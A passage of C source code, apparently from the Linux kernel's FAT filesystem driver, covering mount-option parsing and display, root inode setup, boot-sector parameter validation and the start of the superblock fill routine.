WB_SYNC_ALL);\n\n\treturn err;\n}\n\nint fat_sync_inode(struct inode *inode)\n{\n\treturn __fat_write_inode(inode, 1);\n}\n\nEXPORT_SYMBOL_GPL(fat_sync_inode);\n\nstatic int fat_show_options(struct seq_file *m, struct dentry *root);\nstatic const struct super_operations fat_sops = {\n\t.alloc_inode\t= fat_alloc_inode,\n\t.free_inode\t= fat_free_inode,\n\t.write_inode\t= fat_write_inode,\n\t.evict_inode\t= fat_evict_inode,\n\t.put_super\t= fat_put_super,\n\t.statfs\t\t= fat_statfs,\n\t.remount_fs\t= fat_remount,\n\n\t.show_options\t= fat_show_options,\n};\n\nstatic int fat_show_options(struct seq_file *m, struct dentry *root)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(root->d_sb);\n\tstruct fat_mount_options *opts = &sbi->options;\n\tint isvfat = opts->isvfat;\n\n\tif (!uid_eq(opts->fs_uid, GLOBAL_ROOT_UID))\n\t\tseq_printf(m, \",uid=%u\",\n\t\t\t\tfrom_kuid_munged(&init_user_ns, opts->fs_uid));\n\tif (!gid_eq(opts->fs_gid, GLOBAL_ROOT_GID))\n\t\tseq_printf(m, \",gid=%u\",\n\t\t\t\tfrom_kgid_munged(&init_user_ns, opts->fs_gid));\n\tseq_printf(m, \",fmask=%04o\", opts->fs_fmask);\n\tseq_printf(m, \",dmask=%04o\", opts->fs_dmask);\n\tif (opts->allow_utime)\n\t\tseq_printf(m, \",allow_utime=%04o\", opts->allow_utime);\n\tif (sbi->nls_disk)\n\t\t/* strip \"cp\" prefix from displayed option */\n\t\tseq_printf(m, \",codepage=%s\", &sbi->nls_disk->charset[2]);\n\tif (isvfat) {\n\t\tif (sbi->nls_io)\n\t\t\tseq_printf(m, \",iocharset=%s\", sbi->nls_io->charset);\n\n\t\tswitch (opts->shortname) {\n\t\tcase VFAT_SFN_DISPLAY_WIN95 | VFAT_SFN_CREATE_WIN95:\n\t\t\tseq_puts(m, \",shortname=win95\");\n\t\t\tbreak;\n\t\tcase VFAT_SFN_DISPLAY_WINNT | VFAT_SFN_CREATE_WINNT:\n\t\t\tseq_puts(m, \",shortname=winnt\");\n\t\t\tbreak;\n\t\tcase VFAT_SFN_DISPLAY_WINNT | VFAT_SFN_CREATE_WIN95:\n\t\t\tseq_puts(m, \",shortname=mixed\");\n\t\t\tbreak;\n\t\tcase VFAT_SFN_DISPLAY_LOWER | VFAT_SFN_CREATE_WIN95:\n\t\t\tseq_puts(m, \",shortname=lower\");\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tseq_puts(m, \",shortname=unknown\");\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (opts->name_check != 'n')\n\t\tseq_printf(m, \",check=%c\", opts->name_check);\n\tif (opts->usefree)\n\t\tseq_puts(m, \",usefree\");\n\tif (opts->quiet)\n\t\tseq_puts(m, \",quiet\");\n\tif (opts->showexec)\n\t\tseq_puts(m, \",showexec\");\n\tif (opts->sys_immutable)\n\t\tseq_puts(m, \",sys_immutable\");\n\tif (!isvfat) {\n\t\tif (opts->dotsOK)\n\t\t\tseq_puts(m, \",dotsOK=yes\");\n\t\tif (opts->nocase)\n\t\t\tseq_puts(m, \",nocase\");\n\t} else {\n\t\tif (opts->utf8)\n\t\t\tseq_puts(m, \",utf8\");\n\t\tif (opts->unicode_xlate)\n\t\t\tseq_puts(m, \",uni_xlate\");\n\t\tif (!opts->numtail)\n\t\t\tseq_puts(m, \",nonumtail\");\n\t\tif (opts->rodir)\n\t\t\tseq_puts(m, \",rodir\");\n\t}\n\tif (opts->flush)\n\t\tseq_puts(m, \",flush\");\n\tif (opts->tz_set) {\n\t\tif (opts->time_offset)\n\t\t\tseq_printf(m, \",time_offset=%d\", opts->time_offset);\n\t\telse\n\t\t\tseq_puts(m, \",tz=UTC\");\n\t}\n\tif (opts->errors == FAT_ERRORS_CONT)\n\t\tseq_puts(m, \",errors=continue\");\n\telse if (opts->errors == FAT_ERRORS_PANIC)\n\t\tseq_puts(m, \",errors=panic\");\n\telse\n\t\tseq_puts(m, \",errors=remount-ro\");\n\tif (opts->nfs == FAT_NFS_NOSTALE_RO)\n\t\tseq_puts(m, \",nfs=nostale_ro\");\n\telse if (opts->nfs)\n\t\tseq_puts(m, \",nfs=stale_rw\");\n\tif (opts->discard)\n\t\tseq_puts(m, \",discard\");\n\tif (opts->dos1xfloppy)\n\t\tseq_puts(m, \",dos1xfloppy\");\n\n\treturn 0;\n}\n\nenum {\n\tOpt_check_n, Opt_check_r, Opt_check_s, Opt_uid, Opt_gid,\n\tOpt_umask, Opt_dmask, Opt_fmask, Opt_allow_utime, Opt_codepage,\n\tOpt_usefree, Opt_nocase, Opt_quiet, Opt_showexec, Opt_debug,\n\tOpt_immutable, Opt_dots, Opt_nodots,\n\tOpt_charset, Opt_shortname_lower, Opt_shortname_win95,\n\tOpt_shortname_winnt, Opt_shortname_mixed, Opt_utf8_no, Opt_utf8_yes,\n\tOpt_uni_xl_no, Opt_uni_xl_yes, Opt_nonumtail_no, Opt_nonumtail_yes,\n\tOpt_obsolete, Opt_flush, Opt_tz_utc, Opt_rodir, Opt_err_cont,\n\tOpt_err_panic, Opt_err_ro, Opt_discard, Opt_nfs, Opt_time_offset,\n\tOpt_nfs_stale_rw, Opt_nfs_nostale_ro, Opt_err, Opt_dos1xfloppy,\n};\n\nstatic const match_table_t fat_tokens = {\n\t{Opt_check_r, \"check=relaxed\"},\n\t{Opt_check_s, \"check=strict\"},\n\t{Opt_check_n, \"check=normal\"},\n\t{Opt_check_r, \"check=r\"},\n\t{Opt_check_s, \"check=s\"},\n\t{Opt_check_n, \"check=n\"},\n\t{Opt_uid, \"uid=%u\"},\n\t{Opt_gid, \"gid=%u\"},\n\t{Opt_umask, \"umask=%o\"},\n\t{Opt_dmask, \"dmask=%o\"},\n\t{Opt_fmask, \"fmask=%o\"},\n\t{Opt_allow_utime, \"allow_utime=%o\"},\n\t{Opt_codepage, \"codepage=%u\"},\n\t{Opt_usefree, \"usefree\"},\n\t{Opt_nocase, \"nocase\"},\n\t{Opt_quiet, \"quiet\"},\n\t{Opt_showexec, \"showexec\"},\n\t{Opt_debug, \"debug\"},\n\t{Opt_immutable, \"sys_immutable\"},\n\t{Opt_flush, \"flush\"},\n\t{Opt_tz_utc, \"tz=UTC\"},\n\t{Opt_time_offset, \"time_offset=%d\"},\n\t{Opt_err_cont, \"errors=continue\"},\n\t{Opt_err_panic, \"errors=panic\"},\n\t{Opt_err_ro, \"errors=remount-ro\"},\n\t{Opt_discard, \"discard\"},\n\t{Opt_nfs_stale_rw, \"nfs\"},\n\t{Opt_nfs_stale_rw, \"nfs=stale_rw\"},\n\t{Opt_nfs_nostale_ro, \"nfs=nostale_ro\"},\n\t{Opt_dos1xfloppy, \"dos1xfloppy\"},\n\t{Opt_obsolete, \"conv=binary\"},\n\t{Opt_obsolete, \"conv=text\"},\n\t{Opt_obsolete, \"conv=auto\"},\n\t{Opt_obsolete, \"conv=b\"},\n\t{Opt_obsolete, \"conv=t\"},\n\t{Opt_obsolete, \"conv=a\"},\n\t{Opt_obsolete, \"fat=%u\"},\n\t{Opt_obsolete, \"blocksize=%u\"},\n\t{Opt_obsolete, \"cvf_format=%20s\"},\n\t{Opt_obsolete, \"cvf_options=%100s\"},\n\t{Opt_obsolete, \"posix\"},\n\t{Opt_err, NULL},\n};\nstatic const match_table_t msdos_tokens = {\n\t{Opt_nodots, \"nodots\"},\n\t{Opt_nodots, \"dotsOK=no\"},\n\t{Opt_dots, \"dots\"},\n\t{Opt_dots, \"dotsOK=yes\"},\n\t{Opt_err, NULL}\n};\nstatic const match_table_t vfat_tokens = {\n\t{Opt_charset, \"iocharset=%s\"},\n\t{Opt_shortname_lower, \"shortname=lower\"},\n\t{Opt_shortname_win95, \"shortname=win95\"},\n\t{Opt_shortname_winnt, \"shortname=winnt\"},\n\t{Opt_shortname_mixed, \"shortname=mixed\"},\n\t{Opt_utf8_no, \"utf8=0\"},\t\t/* 0 or no or false */\n\t{Opt_utf8_no, \"utf8=no\"},\n\t{Opt_utf8_no, \"utf8=false\"},\n\t{Opt_utf8_yes, \"utf8=1\"},\t\t/* empty or 1 or yes or true */\n\t{Opt_utf8_yes, \"utf8=yes\"},\n\t{Opt_utf8_yes, \"utf8=true\"},\n\t{Opt_utf8_yes, \"utf8\"},\n\t{Opt_uni_xl_no, \"uni_xlate=0\"},\t\t/* 0 or no or false */\n\t{Opt_uni_xl_no, \"uni_xlate=no\"},\n\t{Opt_uni_xl_no, \"uni_xlate=false\"},\n\t{Opt_uni_xl_yes, \"uni_xlate=1\"},\t/* empty or 1 or yes or true */\n\t{Opt_uni_xl_yes, \"uni_xlate=yes\"},\n\t{Opt_uni_xl_yes, \"uni_xlate=true\"},\n\t{Opt_uni_xl_yes, \"uni_xlate\"},\n\t{Opt_nonumtail_no, \"nonumtail=0\"},\t/* 0 or no or false */\n\t{Opt_nonumtail_no, \"nonumtail=no\"},\n\t{Opt_nonumtail_no, \"nonumtail=false\"},\n\t{Opt_nonumtail_yes, \"nonumtail=1\"},\t/* empty or 1 or yes or true */\n\t{Opt_nonumtail_yes, \"nonumtail=yes\"},\n\t{Opt_nonumtail_yes, \"nonumtail=true\"},\n\t{Opt_nonumtail_yes, \"nonumtail\"},\n\t{Opt_rodir, \"rodir\"},\n\t{Opt_err, NULL}\n};\n\nstatic int parse_options(struct super_block *sb, char *options, int is_vfat,\n\t\t\t int silent, int *debug, struct fat_mount_options *opts)\n{\n\tchar *p;\n\tsubstring_t args[MAX_OPT_ARGS];\n\tint option;\n\tchar *iocharset;\n\n\topts->isvfat = is_vfat;\n\n\topts->fs_uid = current_uid();\n\topts->fs_gid = current_gid();\n\topts->fs_fmask = opts->fs_dmask = current_umask();\n\topts->allow_utime = -1;\n\topts->codepage = fat_default_codepage;\n\tfat_reset_iocharset(opts);\n\tif (is_vfat) {\n\t\topts->shortname = VFAT_SFN_DISPLAY_WINNT|VFAT_SFN_CREATE_WIN95;\n\t\topts->rodir = 0;\n\t} else {\n\t\topts->shortname = 0;\n\t\topts->rodir = 1;\n\t}\n\topts->name_check = 'n';\n\topts->quiet = opts->showexec = opts->sys_immutable = opts->dotsOK = 0;\n\topts->unicode_xlate = 0;\n\topts->numtail = 1;\n\topts->usefree = opts->nocase = 0;\n\topts->tz_set = 0;\n\topts->nfs = 0;\n\topts->errors = FAT_ERRORS_RO;\n\t*debug = 0;\n\n\topts->utf8 = IS_ENABLED(CONFIG_FAT_DEFAULT_UTF8) && is_vfat;\n\n\tif (!options)\n\t\tgoto out;\n\n\twhile ((p = strsep(&options, \",\")) != NULL) {\n\t\tint token;\n\t\tif (!*p)\n\t\t\tcontinue;\n\n\t\ttoken = match_token(p, fat_tokens, args);\n\t\tif (token == Opt_err) {\n\t\t\tif (is_vfat)\n\t\t\t\ttoken = match_token(p, vfat_tokens, args);\n\t\t\telse\n\t\t\t\ttoken = match_token(p, msdos_tokens, args);\n\t\t}\n\t\tswitch (token) {\n\t\tcase Opt_check_s:\n\t\t\topts->name_check = 's';\n\t\t\tbreak;\n\t\tcase Opt_check_r:\n\t\t\topts->name_check = 'r';\n\t\t\tbreak;\n\t\tcase Opt_check_n:\n\t\t\topts->name_check = 'n';\n\t\t\tbreak;\n\t\tcase Opt_usefree:\n\t\t\topts->usefree = 1;\n\t\t\tbreak;\n\t\tcase Opt_nocase:\n\t\t\tif (!is_vfat)\n\t\t\t\topts->nocase = 1;\n\t\t\telse {\n\t\t\t\t/* for backward compatibility */\n\t\t\t\topts->shortname = VFAT_SFN_DISPLAY_WIN95\n\t\t\t\t\t| VFAT_SFN_CREATE_WIN95;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase Opt_quiet:\n\t\t\topts->quiet = 1;\n\t\t\tbreak;\n\t\tcase Opt_showexec:\n\t\t\topts->showexec = 1;\n\t\t\tbreak;\n\t\tcase Opt_debug:\n\t\t\t*debug = 1;\n\t\t\tbreak;\n\t\tcase Opt_immutable:\n\t\t\topts->sys_immutable = 1;\n\t\t\tbreak;\n\t\tcase Opt_uid:\n\t\t\tif (match_int(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\topts->fs_uid = make_kuid(current_user_ns(), option);\n\t\t\tif (!uid_valid(opts->fs_uid))\n\t\t\t\treturn -EINVAL;\n\t\t\tbreak;\n\t\tcase Opt_gid:\n\t\t\tif (match_int(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\topts->fs_gid = make_kgid(current_user_ns(), option);\n\t\t\tif (!gid_valid(opts->fs_gid))\n\t\t\t\treturn -EINVAL;\n\t\t\tbreak;\n\t\tcase Opt_umask:\n\t\t\tif (match_octal(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\topts->fs_fmask = opts->fs_dmask = option;\n\t\t\tbreak;\n\t\tcase Opt_dmask:\n\t\t\tif (match_octal(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\topts->fs_dmask = option;\n\t\t\tbreak;\n\t\tcase Opt_fmask:\n\t\t\tif (match_octal(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\topts->fs_fmask = option;\n\t\t\tbreak;\n\t\tcase Opt_allow_utime:\n\t\t\tif (match_octal(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\topts->allow_utime = option & (S_IWGRP | S_IWOTH);\n\t\t\tbreak;\n\t\tcase Opt_codepage:\n\t\t\tif (match_int(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\topts->codepage = option;\n\t\t\tbreak;\n\t\tcase Opt_flush:\n\t\t\topts->flush = 1;\n\t\t\tbreak;\n\t\tcase Opt_time_offset:\n\t\t\tif (match_int(&args[0], &option))\n\t\t\t\treturn -EINVAL;\n\t\t\t/*\n\t\t\t * GMT+-12 zones may have DST corrections so at least\n\t\t\t * 13 hours difference is needed. Make the limit 24\n\t\t\t * just in case someone invents something unusual.\n\t\t\t */\n\t\t\tif (option < -24 * 60 || option > 24 * 60)\n\t\t\t\treturn -EINVAL;\n\t\t\topts->tz_set = 1;\n\t\t\topts->time_offset = option;\n\t\t\tbreak;\n\t\tcase Opt_tz_utc:\n\t\t\topts->tz_set = 1;\n\t\t\topts->time_offset = 0;\n\t\t\tbreak;\n\t\tcase Opt_err_cont:\n\t\t\topts->errors = FAT_ERRORS_CONT;\n\t\t\tbreak;\n\t\tcase Opt_err_panic:\n\t\t\topts->errors = FAT_ERRORS_PANIC;\n\t\t\tbreak;\n\t\tcase Opt_err_ro:\n\t\t\topts->errors = FAT_ERRORS_RO;\n\t\t\tbreak;\n\t\tcase Opt_nfs_stale_rw:\n\t\t\topts->nfs = FAT_NFS_STALE_RW;\n\t\t\tbreak;\n\t\tcase Opt_nfs_nostale_ro:\n\t\t\topts->nfs = FAT_NFS_NOSTALE_RO;\n\t\t\tbreak;\n\t\tcase Opt_dos1xfloppy:\n\t\t\topts->dos1xfloppy = 1;\n\t\t\tbreak;\n\n\t\t/* msdos specific */\n\t\tcase Opt_dots:\n\t\t\topts->dotsOK = 1;\n\t\t\tbreak;\n\t\tcase Opt_nodots:\n\t\t\topts->dotsOK = 0;\n\t\t\tbreak;\n\n\t\t/* vfat specific */\n\t\tcase Opt_charset:\n\t\t\tfat_reset_iocharset(opts);\n\t\t\tiocharset = match_strdup(&args[0]);\n\t\t\tif (!iocharset)\n\t\t\t\treturn -ENOMEM;\n\t\t\topts->iocharset = iocharset;\n\t\t\tbreak;\n\t\tcase Opt_shortname_lower:\n\t\t\topts->shortname = VFAT_SFN_DISPLAY_LOWER\n\t\t\t\t\t| VFAT_SFN_CREATE_WIN95;\n\t\t\tbreak;\n\t\tcase Opt_shortname_win95:\n\t\t\topts->shortname = VFAT_SFN_DISPLAY_WIN95\n\t\t\t\t\t| VFAT_SFN_CREATE_WIN95;\n\t\t\tbreak;\n\t\tcase Opt_shortname_winnt:\n\t\t\topts->shortname = VFAT_SFN_DISPLAY_WINNT\n\t\t\t\t\t| VFAT_SFN_CREATE_WINNT;\n\t\t\tbreak;\n\t\tcase Opt_shortname_mixed:\n\t\t\topts->shortname = VFAT_SFN_DISPLAY_WINNT\n\t\t\t\t\t| VFAT_SFN_CREATE_WIN95;\n\t\t\tbreak;\n\t\tcase Opt_utf8_no:\t\t/* 0 or no or false */\n\t\t\topts->utf8 = 0;\n\t\t\tbreak;\n\t\tcase Opt_utf8_yes:\t\t/* empty or 1 or yes or true */\n\t\t\topts->utf8 = 1;\n\t\t\tbreak;\n\t\tcase Opt_uni_xl_no:\t\t/* 0 or no or false */\n\t\t\topts->unicode_xlate = 0;\n\t\t\tbreak;\n\t\tcase Opt_uni_xl_yes:\t\t/* empty or 1 or yes or true */\n\t\t\topts->unicode_xlate = 1;\n\t\t\tbreak;\n\t\tcase Opt_nonumtail_no:\t\t/* 0 or no or false */\n\t\t\topts->numtail = 1;\t/* negated option */\n\t\t\tbreak;\n\t\tcase Opt_nonumtail_yes:\t\t/* empty or 1 or yes or true */\n\t\t\topts->numtail = 0;\t/* negated option */\n\t\t\tbreak;\n\t\tcase Opt_rodir:\n\t\t\topts->rodir = 1;\n\t\t\tbreak;\n\t\tcase Opt_discard:\n\t\t\topts->discard = 1;\n\t\t\tbreak;\n\n\t\t/* obsolete mount options */\n\t\tcase Opt_obsolete:\n\t\t\tfat_msg(sb, KERN_INFO, \"\\\"%s\\\" option is obsolete, \"\n\t\t\t \"not supported now\", p);\n\t\t\tbreak;\n\t\t/* unknown option */\n\t\tdefault:\n\t\t\tif (!silent) {\n\t\t\t\tfat_msg(sb, KERN_ERR,\n\t\t\t\t \"Unrecognized mount option \\\"%s\\\" \"\n\t\t\t\t \"or missing value\", p);\n\t\t\t}\n\t\t\treturn -EINVAL;\n\t\t}\n\t}\n\nout:\n\t/* UTF-8 doesn't provide FAT semantics */\n\tif (!strcmp(opts->iocharset, \"utf8\")) {\n\t\tfat_msg(sb, KERN_WARNING, \"utf8 is not a recommended IO charset\"\n\t\t \" for FAT filesystems, filesystem will be \"\n\t\t \"case sensitive!\");\n\t}\n\n\t/* If user doesn't specify allow_utime, it's initialized from dmask. */\n\tif (opts->allow_utime == (unsigned short)-1)\n\t\topts->allow_utime = ~opts->fs_dmask & (S_IWGRP | S_IWOTH);\n\tif (opts->unicode_xlate)\n\t\topts->utf8 = 0;\n\tif (opts->nfs == FAT_NFS_NOSTALE_RO) {\n\t\tsb->s_flags |= SB_RDONLY;\n\t\tsb->s_export_op = &fat_export_ops_nostale;\n\t}\n\n\treturn 0;\n}\n\nstatic int fat_read_root(struct inode *inode)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(inode->i_sb);\n\tint error;\n\n\tMSDOS_I(inode)->i_pos = MSDOS_ROOT_INO;\n\tinode->i_uid = sbi->options.fs_uid;\n\tinode->i_gid = sbi->options.fs_gid;\n\tinode_inc_iversion(inode);\n\tinode->i_generation = 0;\n\tinode->i_mode = fat_make_mode(sbi, ATTR_DIR, S_IRWXUGO);\n\tinode->i_op = sbi->dir_ops;\n\tinode->i_fop = &fat_dir_operations;\n\tif (is_fat32(sbi)) {\n\t\tMSDOS_I(inode)->i_start = sbi->root_cluster;\n\t\terror = fat_calc_dir_size(inode);\n\t\tif (error < 0)\n\t\t\treturn error;\n\t} else {\n\t\tMSDOS_I(inode)->i_start = 0;\n\t\tinode->i_size = sbi->dir_entries * sizeof(struct msdos_dir_entry);\n\t}\n\tinode->i_blocks = ((inode->i_size + (sbi->cluster_size - 1))\n\t\t\t & ~((loff_t)sbi->cluster_size - 1)) >> 9;\n\tMSDOS_I(inode)->i_logstart = 0;\n\tMSDOS_I(inode)->mmu_private = inode->i_size;\n\n\tfat_save_attrs(inode, ATTR_DIR);\n\tinode->i_mtime.tv_sec = inode->i_atime.tv_sec = inode->i_ctime.tv_sec = 0;\n\tinode->i_mtime.tv_nsec = inode->i_atime.tv_nsec = inode->i_ctime.tv_nsec = 0;\n\tset_nlink(inode, fat_subdirs(inode)+2);\n\n\treturn 0;\n}\n\nstatic unsigned long calc_fat_clusters(struct super_block *sb)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\n\t/* Divide first to avoid overflow */\n\tif (!is_fat12(sbi)) {\n\t\tunsigned long ent_per_sec = sb->s_blocksize * 8 / sbi->fat_bits;\n\t\treturn ent_per_sec * sbi->fat_length;\n\t}\n\n\treturn sbi->fat_length * sb->s_blocksize * 8 / sbi->fat_bits;\n}\n\nstatic bool fat_bpb_is_zero(struct fat_boot_sector *b)\n{\n\tif (get_unaligned_le16(&b->sector_size))\n\t\treturn false;\n\tif (b->sec_per_clus)\n\t\treturn false;\n\tif (b->reserved)\n\t\treturn false;\n\tif (b->fats)\n\t\treturn false;\n\tif (get_unaligned_le16(&b->dir_entries))\n\t\treturn false;\n\tif (get_unaligned_le16(&b->sectors))\n\t\treturn false;\n\tif (b->media)\n\t\treturn false;\n\tif (b->fat_length)\n\t\treturn false;\n\tif (b->secs_track)\n\t\treturn false;\n\tif (b->heads)\n\t\treturn false;\n\treturn true;\n}\n\nstatic int fat_read_bpb(struct super_block *sb, struct fat_boot_sector *b,\n\tint silent, struct fat_bios_param_block *bpb)\n{\n\tint error = -EINVAL;\n\n\t/* Read in BPB ... */\n\tmemset(bpb, 0, sizeof(*bpb));\n\tbpb->fat_sector_size = get_unaligned_le16(&b->sector_size);\n\tbpb->fat_sec_per_clus = b->sec_per_clus;\n\tbpb->fat_reserved = le16_to_cpu(b->reserved);\n\tbpb->fat_fats = b->fats;\n\tbpb->fat_dir_entries = get_unaligned_le16(&b->dir_entries);\n\tbpb->fat_sectors = get_unaligned_le16(&b->sectors);\n\tbpb->fat_fat_length = le16_to_cpu(b->fat_length);\n\tbpb->fat_total_sect = le32_to_cpu(b->total_sect);\n\n\tbpb->fat16_state = b->fat16.state;\n\tbpb->fat16_vol_id = get_unaligned_le32(b->fat16.vol_id);\n\n\tbpb->fat32_length = le32_to_cpu(b->fat32.length);\n\tbpb->fat32_root_cluster = le32_to_cpu(b->fat32.root_cluster);\n\tbpb->fat32_info_sector = le16_to_cpu(b->fat32.info_sector);\n\tbpb->fat32_state = b->fat32.state;\n\tbpb->fat32_vol_id = get_unaligned_le32(b->fat32.vol_id);\n\n\t/* Validate this looks like a FAT filesystem BPB */\n\tif (!bpb->fat_reserved) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR,\n\t\t\t\t\"bogus number of reserved sectors\");\n\t\tgoto out;\n\t}\n\tif (!bpb->fat_fats) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR, \"bogus number of FAT structure\");\n\t\tgoto out;\n\t}\n\n\t/*\n\t * Earlier we checked here that b->secs_track and b->head are nonzero,\n\t * but it turns out valid FAT filesystems can have zero there.\n\t */\n\n\tif (!fat_valid_media(b->media)) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR, \"invalid media value (0x%02x)\",\n\t\t\t\t(unsigned)b->media);\n\t\tgoto out;\n\t}\n\n\tif (!is_power_of_2(bpb->fat_sector_size)\n\t || (bpb->fat_sector_size < 512)\n\t || (bpb->fat_sector_size > 4096)) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR, \"bogus logical sector size %u\",\n\t\t\t (unsigned)bpb->fat_sector_size);\n\t\tgoto out;\n\t}\n\n\tif (!is_power_of_2(bpb->fat_sec_per_clus)) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR, \"bogus sectors per cluster %u\",\n\t\t\t\t(unsigned)bpb->fat_sec_per_clus);\n\t\tgoto out;\n\t}\n\n\tif (bpb->fat_fat_length == 0 && bpb->fat32_length == 0) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR, \"bogus number of FAT sectors\");\n\t\tgoto out;\n\t}\n\n\terror = 0;\n\nout:\n\treturn error;\n}\n\nstatic int fat_read_static_bpb(struct super_block *sb,\n\tstruct fat_boot_sector *b, int silent,\n\tstruct fat_bios_param_block *bpb)\n{\n\tstatic const char *notdos1x = \"This doesn't look like a DOS 1.x volume\";\n\n\tstruct fat_floppy_defaults *fdefaults = NULL;\n\tint error = -EINVAL;\n\tsector_t bd_sects;\n\tunsigned i;\n\n\tbd_sects = i_size_read(sb->s_bdev->bd_inode) / SECTOR_SIZE;\n\n\t/* 16-bit DOS 1.x reliably wrote bootstrap short-jmp code */\n\tif (b->ignored[0] != 0xeb || b->ignored[2] != 0x90) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR,\n\t\t\t\t\"%s; no bootstrapping code\", notdos1x);\n\t\tgoto out;\n\t}\n\n\t/*\n\t * If any value in this region is non-zero, it isn't archaic\n\t * DOS.\n\t */\n\tif (!fat_bpb_is_zero(b)) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR,\n\t\t\t\t\"%s; DOS 2.x BPB is non-zero\", notdos1x);\n\t\tgoto out;\n\t}\n\n\tfor (i = 0; i < ARRAY_SIZE(floppy_defaults); i++) {\n\t\tif (floppy_defaults[i].nr_sectors == bd_sects) {\n\t\t\tfdefaults = &floppy_defaults[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (fdefaults == NULL) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_WARNING,\n\t\t\t\t\"This looks like a DOS 1.x volume, but isn't a recognized floppy size (%llu sectors)\",\n\t\t\t\t(u64)bd_sects);\n\t\tgoto out;\n\t}\n\n\tif (!silent)\n\t\tfat_msg(sb, KERN_INFO,\n\t\t\t\"This looks like a DOS 1.x volume; assuming default BPB values\");\n\n\tmemset(bpb, 0, sizeof(*bpb));\n\tbpb->fat_sector_size = SECTOR_SIZE;\n\tbpb->fat_sec_per_clus = fdefaults->sec_per_clus;\n\tbpb->fat_reserved = 1;\n\tbpb->fat_fats = 2;\n\tbpb->fat_dir_entries = fdefaults->dir_entries;\n\tbpb->fat_sectors = fdefaults->nr_sectors;\n\tbpb->fat_fat_length = fdefaults->fat_length;\n\n\terror = 0;\n\nout:\n\treturn error;\n}\n\n/*\n * Read the super block of an MS-DOS FS.\n */\nint fat_fill_super(struct super_block *sb, void *data, int silent, int isvfat,\n\t\t void (*setup)(struct super_block *))\n{\n\tstruct inode *root_inode = NULL, *fat_inode = NULL;\n\tstruct inode *fsinfo_inode = NULL;\n\tstruct buffer_head *bh;\n\tstruct fat_bios_param_block bpb;\n\tstruct msdos_sb_info *sbi;\n\tu16 logical_sector_size;\n\tu32 total_sectors, total_clusters, fat_clusters, rootdir_sectors;\n\tint debug;\n\tlong error;\n\tchar buf[50];\n\tstruct timespec64 ts;\n\n\t/*\n\t * GFP_KERNEL is ok here, because while we do hold the\n\t * superblock lock, memory pressure can't call back into\n\t * the filesystem, since we're only just about to mount\n\t * it and have no inodes etc active!\n\t */\n\tsbi = kzalloc(sizeof(struct msdos_sb_info), GFP_KERNEL);\n\tif (!sbi)\n\t\treturn -ENOMEM;\n\tsb->s_fs_info = sbi;\n\n\tsb->s_flags |= SB_NODIRATIME;\n\tsb->s_magic = MSDOS_SUPER_MAGIC;\n\tsb->s_op = &fat_sops;\n\tsb->s_export_op = &fat_export_ops;\n\t/*\n\t * fat timestamps are complex and truncated by fat itself, so\n\t * we set 1 here to be fast\n\t */\n\tsb->s_time_gran = 1;\n\tmutex_init(&sbi->nfs_build_inode_lock);\n\tratelimit_state_init(&sbi->ratelimit, DEFAULT_RATELIMIT_INTERVAL,\n\t\t\t DEFAULT_RATELIMIT_BURST);\n\n\terror = parse_options(sb, data, isvfat, silent, &debug, &sbi->options);\n\tif (error)\n\t\tgoto out_fail;\n\n\tsetup(sb); /* flavour-specific stuff that needs options */\n\n\terror = -EIO;\n\tsb_min_blocksize(sb, 512);\n\tbh = sb_bread(sb, 0);\n\tif (bh == NULL) {\n\t\tfat_msg(sb, KERN_ERR, \"unable to read boot sector\");\n\t\tgoto out_fail;\n\t}\n\n\terror = fat_read_bpb(sb, (struct fat_boot_sector *)bh->b_data, silent,\n\t\t&bpb);\n\tif (error == -EINVAL && sbi->options.dos1xfloppy)\n\t\terror = fat_read_static_bpb(sb,\n\t\t\t(struct fat_boot_sector *)bh->b_data, silent, &bpb);\n\tbrelse(bh);\n\n\tif (error == -EINVAL)\n\t\tgoto out_invalid;\n\telse if (error)\n\t\tgoto out_fail;\n\n\tlogical_sector_size = bpb.fat_sector_size;\n\tsbi->sec_per_clus = bpb.fat_sec_per_clus;\n\n\terror = -EIO;\n\tif (logical_sector_size < sb->s_blocksize) {\n\t\tfat_msg(sb, KERN_ERR, \"logical sector size too small for device\"\n\t\t \" (logical sector size = %u)\", logical_sector_size);\n\t\tgoto out_fail;\n\t}\n\n\tif (logical_sector_size > sb->s_blocksize) {\n\t\tstruct buffer_head *bh_resize;\n\n\t\tif (!sb_set_blocksize(sb, logical_sector_size)) {\n\t\t\tfat_msg(sb, KERN_ERR, \"unable to set blocksize %u\",\n\t\t\t logical_sector_size);\n\t\t\tgoto out_fail;\n\t\t}\n\n\t\t/* Verify that the larger boot sector is fully readable */\n\t\tbh_resize = sb_bread(sb, 0);\n\t\tif (bh_resize == NULL) {\n\t\t\tfat_msg(sb, KERN_ERR, \"unable to read boot sector\"\n\t\t\t \" (logical sector size = %lu)\",\n\t\t\t sb->s_blocksize);\n\t\t\tgoto out_fail;\n\t\t}\n\t\tbrelse(bh_resize);\n\t}\n\n\tmutex_init(&sbi->s_lock);\n\tsbi->cluster_size = sb->s_blocksize * sbi->sec_per_clus;\n\tsbi->cluster_bits = ffs(sbi->cluster_size) - 1;\n\tsbi->fats = bpb.fat_fats;\n\tsbi->fat_bits = 0;\t\t/* Don't know yet */\n\tsbi->fat_start = 